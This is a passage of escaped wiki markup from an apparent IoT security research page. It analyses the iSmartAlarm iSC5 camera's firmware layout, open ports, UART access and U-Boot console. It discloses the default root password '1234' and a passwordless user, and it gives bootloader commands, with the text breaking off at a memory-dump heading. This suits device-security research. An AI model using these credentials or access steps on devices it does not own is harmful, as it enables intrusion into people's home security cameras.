&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;0 (Hold any key on start)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 2011.09&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;jffs (mtd4), cramfs (root), support for external SD card and USB storage devices&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SN98600&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.35.12&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.22.1 (2016) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The iSC5 only uses WLAN to communicate. In order to process with the next chapters, access to the LAN of the router is required.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Network Mapper&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Open Ports (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           606/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The iSmartAlarm app allows you to arm, monitor, and disarm your iSmartAlarm Home Security System at any time, from anywhere, in real-time. You can see who is home, when family members leave or return, and the status of every sensor and device. It manages all of your iSmartAlarm products, including Contact Sensors, Motion Sensors, iCamera (1st Gen), iCamera KEEP, Smart Switch, and more. Multiple homes and systems can be managed easily in the same app. iSmartAlarm will alert all designated members with SMS text messages, push notifications, automated phone calls, and email when the iSmartAlarm Home Security System detects a break-in or unauthorized activity. Users can then choose how to address the situation appropriately - A call can be placed to the police in case of a break-in, or the alarm can be ignored and the system set to Arm again if it is a false alarm.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US Play Store]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://apps.apple.com/us/app/ismartalarm/id615159814&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Only the Android ha been analyzed.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The iCS5 device can only be managed via mobile APP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The recent verison doesnt work&lt;br /&gt;
I used 2.0.8&lt;br /&gt;
Wifi setup is not working device is transmitting &amp;lt;unknown SSID&amp;gt;&lt;br /&gt;
Password is transmitted encrypted&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the iSC5 has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/SENISC5/Internal-Photos/Internal-Photos-REV-1-2833644 internal photos] provided to the FCC. Additionally this [[https://www.youtube.com/watch?v=OOghPawyIms video]] may be used, which shows how to dissamble the OEM Xiaomi device model where iSmartAlarm install their FW on.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Front.jpeg|iSC5-MCUP01 V2.2 Front&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Back.jpeg|iSC5-MCUP01 V2.2 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Front.jpeg|iSC5-SENP01 V1.1 Front&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Back.jpeg|iSC5-SENP01 V1.1 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Front.jpeg|iSC5-LEDP01 V3.0 Front&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Back.jpeg|iSC5-LEDP01 V3.0 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Dissambling XIAOMI ISC5 1080P WI-FI CAMERA by [https://www.unifore.net/product-highlights/disassemble-cheapest-xiaomi-isc5-1080p-wi-fi-camera.html GEEKiFIX] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
The SONiX SN98600 / 98601 / 98610 IP Camera SoC integrates powerful image sensor processing, 1080p15 H.264 multi-stream encoding, and ARM9 processor with rich I/O for IP Camera and network video stream server applications. SN98600 / 98601 / 98610 offers excellent video quality and supports varied real-time bitstreams, up to 5 simultaneous streams with different video formats (H.264 and MJPEG), and different resolutions to fit the bandwidth.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [http://www.sonix.com.tw/article-en-958-13487 SN988601AFG] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. The investigated device uses the UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto; &amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6; margin-bottom: -20px !important&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: UART Setup&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) UART Pin assignment.jpeg|UART Pin Assignment&lt;br /&gt;
image:iSmartAlarm_iSC5_UART_Setup.jpeg|No need for soldering.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The device provides a user &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; with the password &amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt; and another user &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt; without any password.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootloader&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined device uses the Universal Bootloader (U-Boot). It requires a serial connection using &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; over UART to access. The default boot delay is 0 seconds. Hold any key (e.g. ENTER) while restarting the deivce to access the bootloader.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: U-Boot Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;NOTE: HOLD KEY (E.G. ENTER) WHILE RESTARTING THE DEVICE TO ACCESS THE BOOTLAODER&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # &lt;br /&gt;
sonix # ?&lt;br /&gt;
&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # bdinfo&lt;br /&gt;
&lt;br /&gt;
arch_number = 0x0000067D&lt;br /&gt;
boot_params = 0x00000100&lt;br /&gt;
DRAM bank   = 0x00000000&lt;br /&gt;
-&amp;gt; start    = 0x00000000&lt;br /&gt;
-&amp;gt; size     = 0x04000000&lt;br /&gt;
ethaddr     = 00:B0:27:08:90:14&lt;br /&gt;
ip_addr     = 10.19.1.194&lt;br /&gt;
baudrate    = 115200 bps&lt;br /&gt;
TLB addr    = 0x03FF0000&lt;br /&gt;
relocaddr   = 0x03D7A000&lt;br /&gt;
reloc off   = 0x0207A000&lt;br /&gt;
irq_sp      = 0x03D19F60&lt;br /&gt;
sp start    = 0x03D19F50&lt;br /&gt;
FB base     = 0x03DF0000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # devinfo&lt;br /&gt;
&lt;br /&gt;
## Device Info Starting ...&lt;br /&gt;
Flash-Type=SPI&lt;br /&gt;
&lt;br /&gt;
SPI : u-boot/factory/kernel/rootfs-r/rootfs-rw/user/u-logo&lt;br /&gt;
hw-setting=0x00000000,0x00000FFF&lt;br /&gt;
u-boot=0x00001000,0x0005FFFF&lt;br /&gt;
u-env=0x00060000,0x0007EFFF&lt;br /&gt;
flash-layout=0x0007F000,0x0007FFFF&lt;br /&gt;
factory=0x00080000,0x000BFFFF&lt;br /&gt;
kernel=0x000C0000,0x003BFFFF&lt;br /&gt;
rootfs-r=0x003C0000,0x00ABFFFF&lt;br /&gt;
rootfs-rw =0x00EC0000,0x00FBFFFF&lt;br /&gt;
user=0x00FC0000,0x00FFFFFF&lt;br /&gt;
u-logo=0x00000000,0x00000000&lt;br /&gt;
rescue=0x00AC0000,0x00EBFFFF&lt;br /&gt;
u-boot.ver=u-boot-2011-09&lt;br /&gt;
u-boot.tm=&lt;br /&gt;
factory.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
factory.tm=2016-03-09 19:04&lt;br /&gt;
kernel.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
kernel.tm=2017-07-04 18:19&lt;br /&gt;
user.ver=SN98600_1.20_P2P_tstream_005d_20141015_1243&lt;br /&gt;
user.tm=2014-10-20 09:28&lt;br /&gt;
rootfs-r.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
rootfs-r.tm=2017-07-04 18:20&lt;br /&gt;
## Device Info End, rc = 0x0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # printenv&lt;br /&gt;
&lt;br /&gt;
baudrate=115200&lt;br /&gt;
bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
bootcmd=loadkernel 0x00007FFC 0x0;bootm 0x00008000&lt;br /&gt;
bootdelay=0&lt;br /&gt;
bootfile=uImage&lt;br /&gt;
ethaddr=00:B0:27:08:90:14&lt;br /&gt;
gatewayip=10.19.1.254&lt;br /&gt;
ipaddr=10.19.1.194&lt;br /&gt;
netmask=255.255.254.0&lt;br /&gt;
netretry=3&lt;br /&gt;
serverip=172.18.101.141&lt;br /&gt;
stderr=serial&lt;br /&gt;
stdin=serial&lt;br /&gt;
stdout=serial&lt;br /&gt;
&lt;br /&gt;
Environment size: 468/131068 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # version&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
sonix # &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h6&amp;gt;Change Boot Delay&amp;lt;/h6&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Accessing the bootloder requires to press and hold any key while startign the device in order to enter the bootloader because the &amp;lt;code&amp;gt;bootdelay&amp;lt;/code&amp;gt; is set to 0. In order to change this, enter U-Boot as described before, then execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Set Bootdelay&lt;br /&gt;
setenv bootdelay 5&lt;br /&gt;
# OR: Remove Bootdelay&lt;br /&gt;
# setenv bootdelay&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h6&amp;gt;Memory Dump&amp;lt;/h6&amp;gt;&lt;br /&gt;
&lt;br /&gt;
